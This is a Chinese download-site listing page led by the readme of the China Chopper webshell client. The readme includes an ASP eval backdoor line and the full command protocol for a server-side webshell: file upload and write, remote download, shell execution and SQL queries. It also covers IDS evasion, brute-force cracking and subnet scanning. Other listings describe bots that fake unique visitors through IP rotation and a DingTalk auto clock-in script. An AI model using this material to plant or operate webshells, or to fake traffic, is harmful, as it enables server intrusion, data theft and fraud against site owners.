产品名称:中国菜刀(Chinachopper)生产厂家:中国菜刀贸易有限公司厂家地址:http://www.maicaidao.com/----------------------------------------------------------------------------------------------------------免责申明: 请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果本厂家不承担任何责任!----------------------------------------------------------------------------------------------------------友情提示:程序在使用过程中难免有各种BUG,到官网看一下是否有更新吧,说不定己经修补了呢。
UINCODE方式编译,支持多国语言输入显示。
在非简体中文环境下使用,自动更换成英文界面,翻译有误的地方请留言指正。
一、脚本客户端(包括但不限于EVAL)部分  1)要了解的  服务端只需要简单的一行代码,即可用此程序实现常用的管理功能,功能代码二次编码后发送,过IDS的能力大幅提高。
  目前支持的服务端脚本:PHP,ASP,ASP.NET,并且支持https安全连接的网站。
  在服务端运行的代码如下:  PHP:  ASP:  ASP.NET: (注意:ASP.NET要单独一个文件或此文件也是Jscript语言)  Customize: 自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与菜刀进行交互即可。
  2)怎么用  在主视图中右键/添加,在弹出的对话框中输入服务端地址,连接的密码(请注意上例中的pass字串),选择正确的脚本类型和语言编码,  保存后即可使用文件管理,虚拟终端,数据库管理三大块功能,同时支持自定义的脚本执行,并可以导入导出数据。
  要是其它都没错误,那么可能就是你把语言编码选错了。
  1.文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;  2.虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法)  3.数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS 以及支持ADO方式连接的数据库。
(各种脚本条件下的数据库连接方法请点击数据库管理界面左上角处的配置按钮查看)  注意:由于服务器的安全设置,某些功能可能不能正常使用。
  3)关于配置信息怎么填? A)数据库方面: PHP脚本: 类型类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种 主机地址主机地址可为机器名或IP地址,如localhost 数据库用户连接数据库的用户名,如root 数据库密码连接数据库的密码,如123455 ASP和ASP.NET脚本: 类型类型只能填ADO ADO配置信息 ADO连接各种数据库的方式不一样。
如MSSQL的配置信息为 Driver={SqlServer};Server=(local);Database=master;Uid=sa;Pwd=123456; 同时,支持NT验证登录MSSQL数据库,并能把查询的结果列表导出为html文件 Customize脚本: 类型类型只能填XDB 与Customize脚本约定的配置信息 菜刀自带的server.jsp数据库参数填写方法如下(两行): MSSQL:com.microsoft.sqlserver.jdbc.SQLServerDriverjdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456 MYSQL:com.mysql.jdbc.Driverjdbc:mysql://localhost/test?user=root&password=123456 ORACLE:oracle.jdbc.driver.OracleDriverjdbc:oracle:thin:user/password@127.0.0.1:1521/test B)其它方面: 添加额外附加提交的数据,如ASP的新服务端是这样的: 那么,菜刀在配置处填入: SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function 然后以密码pass来连接即可。
提交功能前先POST额外的数据包:会话期间只提交一次。
https://target.com/cgi-bin/login.cgi uid=user1&pwd=123456  3)关于HTTP登录验证 SHELL地址这样填http://user:pass@server/server.asp 用户名密码中的特殊字符可用URL编码转换。
二、安全扫描  蜘蛛爬行,绑定域名查询,目录爆破。
  命令解释: A)查单一IP的绑定域名 {reverse_ip}{url:http://www.test.com/} B)扫描本C段开放的WEB服务器,并查询绑定域名 {reverse_ip_c}{url:http://www.test.com/} C)只扫描本C段开放的WEB服务器 {reverse_ip_c}{url:http://www.test.com/}{port} D)蜘蛛爬行 {spider}{url:http://www.test.com/} E)蜘蛛爬行,并设定爬行范围 {spider}{url:http://www.test.com/}{range:test.com} F)蜘蛛爬行,过滤重复URL加快速度 加上{filter} G)爆破功能,%s为dict中的一行 flag:后面为返回的数据(含HTTP头部)中的特定关键字 加!!为不包含关键字为TRUE,否则包含关键字为TRUE list.txt为当前目录下的文件,可设为绝对路径,注意:不要包含太多的行。
注:从20100626版开始,list.txt一定要是UNICODE格式的文本文件 {crack}{url:http://%s/admin/}{flag:HTTP/1.1200}{dict:list.txt} {crack}{url:http://%s/admin/}{flag:!!HTTP/1.1404}{dict:list.txt} {crack}{url:http://www.test.com/%s/}{flag:successfully}{dict:list.txt}三、定时提醒  当闹钟来用吧,周期:每月/每周/每日/只一次。
四、快速启动  一些常用的快捷方式放在这里,可以指定用户身份运行程序。
这部分数据是加密存储的。
五、浏览器  就是一个专用的网页浏览器:Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
六、其它部分  等待加入。
文件说明:------------------------------------------------------------------chopper.exe 菜刀程序db.mdb 菜刀的主数据库------------------------------------------------------------------cache.tmp 菜刀的缓存数据库(可删除)readme.txt 你现在正在看的(可删除)[目录]Script 存放菜刀的自写脚本和Customize模式Jsp的一个服务端文件(可删除)----附---------------------------Customize模式菜刀和服务端通信接口---------------------------------------------------------------------------------------------------其它语言的服务端代码可按此接口来编写(请参照server.jsp/server.cfm)---------------------例:菜刀客户端填写的密码为pass,网页编码选的是GB2312注:所有参数都以POST提交,返回的数据都要以->|为开始标记,|<-为结束标记注:返回的错误信息开头包含ERROR://注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。
--------------------------------------------------------------------------------------------------------------------------------------------------------[得到当前目录的绝对路径]提交:pass=A&z0=GB2312返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表示例:c:\inetpub\wwwroot\ C:D:E:K:示例:/var/www/html/ [目录浏览]提交:pass=B&z0=GB2312&z1=目录绝对路径返回:先目录后文件,目录名后要加/,文件名后不要加/示例: 目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n 文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n[读取文本文件]提交:pass=C&z0=GB2312&z1=文件绝对路径返回:文本文件的内容[写入文本文件]提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容返回:成功返回1,不成功返回错误信息[删除文件或目录]提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径返回:成功返回1,不成功返回错误信息[下载文件]提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径返回:要下载文件的内容[上传文件]提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)返回:要下载文件的内容[复制文件或目录后粘贴]提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径返回:成功返回1,不成功返回错误信息[文件或目录重命名]提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)返回:成功返回1,不成功返回错误信息[新建目录]提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)返回:成功返回1,不成功返回错误信息[修改文件或目录时间]提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-ddHH:mm:ss)返回:成功返回1,不成功返回错误信息[下载文件到服务器]提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径返回:成功返回1,不成功返回错误信息[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令返回:命令执行结果[得到数据库基本信息]提交:pass=N&z0=GB2312&z1=数据库配置信息返回:成功返回数据库(以制表符\t分隔),不成功返回错误信息[获取数据库表名]提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名返回:成功返回数据表(以\t分隔),不成功返回错误信息[获取数据表列名]提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名返回:成功返回数据列(以制表符\t分隔),不成功返回错误信息[执行数据库命令]提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令返回:成功返回数据表内容,不成功返回错误信息注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。
行中的每列后加上\t|\t标记,每行以标记\r\n为结束
2024/10/23 12:54:30 197KB hacker
1
一款基于Androidstudio的天气预报实现城市切换自动点位自动刷新
2024/10/6 13:23:28 2.41MB 111111111111
1
系统功能:  1、当日固顶游戏到时间自动提升,自动排序,采用轮换功能,每个游戏都可能排在第一位;
 2、后台批量发布、固顶、审核、删除,等信息灵活管理;
 3、任意在线发布各类游戏、家族信息,管理员可在后台审核显示;
 4、首页定时自动刷新,后台设置时间,通宵推荐,精品推荐功能;
 5、游戏可按照天数置顶精品,到时间自动消失;
 6、强大的html自动生成功能,优化技术,使浏览速度更快;
 7、强大的广告管理功能,分二种样式显示,支持天数,到期广告自动关闭;
 8、管理员分权限管理,普通管理和超级管理,累了可以找个管理;
 9、游戏类型自由设置,随您选择做哪款游戏的发布网;
 10、友情连接分首页连接与分页连接,添加时自由控制;
 11、广告联系页面设置,后台自由设置,自动生成html;
 12、导航管理功能,分顶部导航和底部,自由添加编辑;
 13、强大的文章,下载模块,后台管理操作,添加,编辑,删除,前台SEO优化上、下篇调用;
 14、文章及下载模块支持无限分类功能,每个软件单独一个页面,自动生成html;
 15、游戏搜索查找功能,彻底解决内存益处的问题;
 16、所有游戏单一页面功能,无限分类,每个游戏一个页面,自动生成html;
 17、家族采用排名式,点击最高的会排在首位,引导人气;
 18、优化所有代码!使其运行更快;
 19、批量而自动化的游戏采集系统,如:时间选择、条数控制、游戏类型、线路选择、字符过滤、版本选择;
 20、更多功能请在使用过程中体验,全后台设置管理,安全,稳定,方便!
2024/9/27 20:50:16 2.59MB Asp源码-其它源码
1
使用as3.0变成语言编写的Flash6.0的大型RPG游戏,其中有角色血条,蓝条,经验值,等级,技能,怪物,怪物自动刷新,BOSS,BOSSAI等内容,作为一个大型RPG完全胜任任何的期末作业或者大作业
2024/9/24 4:34:28 19.92MB as3.0 ;大型RPG; Flash游戏 ;期末作业
1
文章,页面,分类目录,标签的添加,删除,编辑等。
文章及页面支持Markdown,支持代码高亮。
支持文章全文搜索。
完整的评论功能,包括发表回复评论,以及评论的邮件提醒,支持Markdown。
侧边栏功能,最新文章,最多阅读,标签云等。
支持的Oauth登陆,现已有谷歌,GitHub上,脸谱,微博,QQ登录。
请立即获取iTunesMemcache缓存,支持缓存自动刷新。
简单的SEO功能,新建文章等会自动通知谷歌和百度。
集成了简单的图床功能。
集成django-compressor,自动压缩css,js。
网站异常邮件提醒,若有未捕捉到的异常会自动发送提醒邮件。
集成了微信公众号功能,现在可以使用微信公众号来管理你的VPS了。
2024/9/8 5:47:12 1.86MB Django
1
使用Qt实现网页自动刷新工具示例demo代码使用Qt调用windowsapi实现网页窗口刷新https://blog.csdn.net/qq_29542611/article/details/83352799
2024/8/18 8:16:32 6KB Qt FindWindow 网页刷新工具
1
这是专门针对windows10系统的一款优化工具,软件的功能有很多有资源管理器汇总显示菜单栏、窗口自动刷新、显示隐藏文件夹等功能可一键开启安全健康服务、安全中心服务、更新服务
2024/7/7 2:37:19 493KB Win10优化工具
1
各位网友大家好,要运行此工具必需先设置好网页信息,点击菜单栏设置或用快捷键(Alt+E)进入到设置页面,设置页面其中包括三个Tab:基本配置、网页信息和数据库。
基本配置:如果要运行页面点击时自动刷新外网IP就要配置ADSL帐号,现在暂时只支持ADSL刷新外网IP。
单独页面执行是已Html中div的id为标志,意思是循环只执行此选中项,默认是所有项目。
IP数据表就是每执行一下点击网页都会记录下本次的IP,记录文件放在此工具的路径下的Data目录下的iptables.log文件,最小化启动程序就是启动此工具或最小化窗口后台托管运行,就像QQ一样挂着。
循环重启软件运行此项是为了和刷新ADSL一起配合产生独立IP,因为每个浏览器都有Cookies,关闭浏览器就可以彻底清除Cookies产生独立访客(UV)了。
如果同时选择了最小化启动程序可以用全局快捷键Ctrl+Alt+空格解除循环。
网页信息:是一个表格可以进行添加、修改和删除。
页面执行方式有两种:一是completed意思是等网页加载完毕后执行点击,二是thread多线程执行意思是加载页面3秒钟后再执行页面点击。
各有各自的优点,如果发现其中一种执行方式实现不了可以用另外一种试一下。
类型就是网页的链接返回类型,有两种一时纯url链接如:http://www.baidu.com,另一种是数据库SQL语句返回链接集。
用数据库名加@加地址标志,在数据库Tab中配置。
SQL语句一定要返回link结果集如:selectconcat('http://www.google.com/',url)linkfromtable,在SQL语句中不要用双引号,要用单引号,否则会出错。
现在支持MYSQL和MSSQL数据库。
链接就是类型对应的文本。
htmlID是html中div的id,这个是网站网页中要点击的定位点,是这个表的主键必须唯一。
偏移坐标就是htmlID的相对偏移点,用英文逗号隔开如0,0。
状态有两种Y和N,意思是是和否,默认是Y,就是如果您想停用此条记录不加入循环就改为N。
独立IP,默认是N,就是在Data/iptables.log文件中没出现过的当为独立ip。
双击单元格可以修改文本内容。
点击最后的删除可以删除此行记录。
修改或添加后可别忘记了按右下角的保存按钮哦。
数据库tab表格简单明了就不多加说明了。
如果有出现运行异常可以可以查看Data下的error.log错误日志文件。
如果对此工具有何意见或建议可以点击意见反馈发送你的宝贵信息。
此工具支持在线更新。
如收到您的来信,我会尽快的修改更新。
温馨提示:目标执行标签(htmlID)要保持在预览窗口显示,建议最大化窗口最小化后台托管运行。
希望此工具可以帮得了大家。
2024/6/24 5:04:28 144KB 模拟网页点击
1
网页自动操作监控工具适合代替人工完成重复的网页操作。
比如自动登陆网站后自动点击签到,自动输入内容并发表;商品抢购也可以用本软件设置好流程自动完成;批量自动发表评论等。
网页自动操作监控工具由自动刷新工具、自动点击工具和自动提交工具组成。
通过这些工具组合可实现网页操作自动化,本软件中可以添加多个操作动作,设置各项操作顺序,同时监控网页内容变化,触发新的操作,每项操作都支持多线程。
支持使用代理服务器更换IP访问,定时任务在无人值守的情况下自动完成,程序可完全隐藏后台运行。
1、支持定时操作和多线程操作。
2、支持后台操作或者前台显示操作效果,可完全隐藏运行。
3、一个任务可针对同一页面添加多个操作。
4、多任务可相互触发连续或循环执行。
5、兼容自动刷新任务、自动点击任务和自动提交任务。
6、支持代理服务器,换IP操作。
可导入大量免费代理服务器,可随机使用或环使用代理服务器7、支持对代理服务器使用情况进行统计管理。
8、网页内容变化监控,包括脚本执行产生的变化。
9、网页内容关键字监控,同时监控多个关键字。
10、网页HTML元素级监控,同时监控多个元素,进行数据比较。
11、网络故障监控,本地网络故障时报警。
12、面加载失败监控,网站服务器出现问题,或网页打不开时报警。
13、监控报警处置方式:弹出提示对话框;
声音提示;
任务中止;
启动新任务;
启动外部处置程序;
保存当前页面;
程序关闭;
自动关机。
WINXP,WIN2003用户安装必须安装补丁Microsoft.NETFramework2.0ServicePack2注意是SP2补丁.声明:本软件不得用于非法用途,非法使用本软件与软件作者无关.
2024/6/13 19:55:19 7.97MB 网络软件-网络辅助
1
非常好用的串口助手,软件体积小,操作简便。
在插上TTL后可以自动刷新串口号
2024/4/20 7:45:05 9.44MB 串口助手 TTL
1
共 27 条记录 首页 上一页 下一页 尾页
在日常工作中,钉钉打卡成了我生活中不可或缺的一部分。然而,有时候这个看似简单的任务却给我带来了不少烦恼。 每天早晚,我总是得牢记打开钉钉应用,点击"工作台",再找到"考勤打卡"进行签到。有时候因为工作忙碌,会忘记打卡,导致考勤异常,影响当月的工作评价。而且,由于我使用的是苹果手机,有时候系统更新后,钉钉的某些功能会出现异常,使得打卡变得更加麻烦。 另外,我的家人使用的是安卓手机,他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说,每次打卡都是一次挑战。他们总是担心自己会操作失误,导致打卡失败。 为了解决这些烦恼,我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习,我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03 15KB 钉钉 钉钉打卡